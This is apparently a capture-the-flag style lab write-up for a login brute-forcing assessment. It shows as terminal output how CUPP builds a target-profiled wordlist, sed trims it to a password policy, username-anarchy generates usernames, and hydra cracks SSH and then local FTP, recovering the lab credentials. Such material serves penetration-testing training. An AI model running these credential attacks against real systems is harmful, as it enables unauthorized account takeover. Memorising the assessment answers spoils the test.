Login Brute Forcing-Service

As you now have the name of an employee from the previous skills assessment question, try to gather basic information about them, and generate a custom password wordlist that meets the password policy. Also use 'usernameGenerator' to generate potential usernames for the employee. Finally, try to brute force the SSH server shown above to get the flag.

Generating Wordlist:

```
┌──(moghees㉿kali)-[~]
└─$ cupp -i

  cupp.py!                  # Common
     \                      # User
      \                     # Passwords
       \  ,__,              # Profiler
          (oo)____
          (__)    )\
             ||--||  *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Harry
> Surname: Potter
> Nickname: Harry
> Birthdate (DDMMYYYY):


> Partners) name: Ginny
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
```

```
> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name: Hedwig
> Company name: Hogwarts


> Do you want to add some key words about the victim? Y/[N]: Y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: magic
wand
> Do you want to add special chars at the end of words? Y/[N]: Y
> Do you want to add some random numbers at the end of words? Y/[N]:Y
> Leet mode? (i.e. leet = 1337) Y/[N]: Y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to harry.txt, counting 16936 words.
[+] Now load your pistolero with harry.txt and shoot! Good luck!
```

Applying Password Policy:

```
┌──(moghees㉿kali)-[~/lab]
└─$ sed -ri '/^.{,7}$/d' harry.txt            # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' harry.txt # remove no special chars
sed -ri '/[0-9]+/!d' harry.txt              # remove no numbers

┌──(moghees㉿kali)-[~/lab]
└─$ cat harry.txt | wc -l
6059
```

Generating Usernames:

```
┌──(moghees㉿kali)-[~/Downloads/Softwares/username-anarchy]
└─$ ./username-anarchy Harry Potter > names.txt

┌──(moghees㉿kali)-[~/Downloads/Softwares/username-anarchy]
└─$ head names.txt
harry
harrypotter
harry.potter
harrypot
harrpott
harryp
h.potter
hpotter
pharry
p.harry
```

Brute Forcing SSH:

```
┌──(moghees㉿kali)-[~/lab]
└─$ hydra -L names.txt -P harry.txt -u -f ssh://83.136.253.251:37435 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi
ce organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anywa
y).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-06 15:38:18
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previou
s session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 21780 login tries (l:15/p:1452), ~5445 tries per tas
k
[DATA] attacking ssh://83.136.253.251:37435/
[37435][ssh] host: 83.136.253.251   login: harry.potter   password: H4rry!!!
[STATUS] attack finished for 83.136.253.251 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-06 15:38:31
```

Username: **harry.potter**
Password: **H4rry!!!**

Once you are in, you should find that another user exists in server. Try to brute force their login, and get their flag.

Checking the service:

```
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$ netstat -antp | grep -i list
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$
```

Checking the other user:

```
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$ cd ..
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:/home$ ls
g.potter  harry.potter
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:/home$
```

Brute Forcing FTP:

```
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$ hydra -l g.potter -P rockyou-30.tx
t -u -f ftp://127.0.0.1
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations,
 or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-06 10:49:52
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1556 login tries (l:1/p:1556), ~98 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 1268 to do in 00:05h, 16 active
^[[B^[[B^[[B
[STATUS] 285.33 tries/min, 856 tries in 00:03h, 700 to do in 00:03h, 16 active
[21][ftp] host: 127.0.0.1   login: g.potter   password: harry
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-06 10:54:45
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$
```

Username: **g.potter**
Password: **harry**

```
harry.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:~$ su g.potter
Password:
g.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:/home/harry.potter$ id
uid=1001(g.potter) gid=1001(g.potter) groups=1001(g.potter)
g.potter@ng-688826-bruteforcingasmt-2-ttybw-5f8668d495-smjmc:/home/harry.potter$
```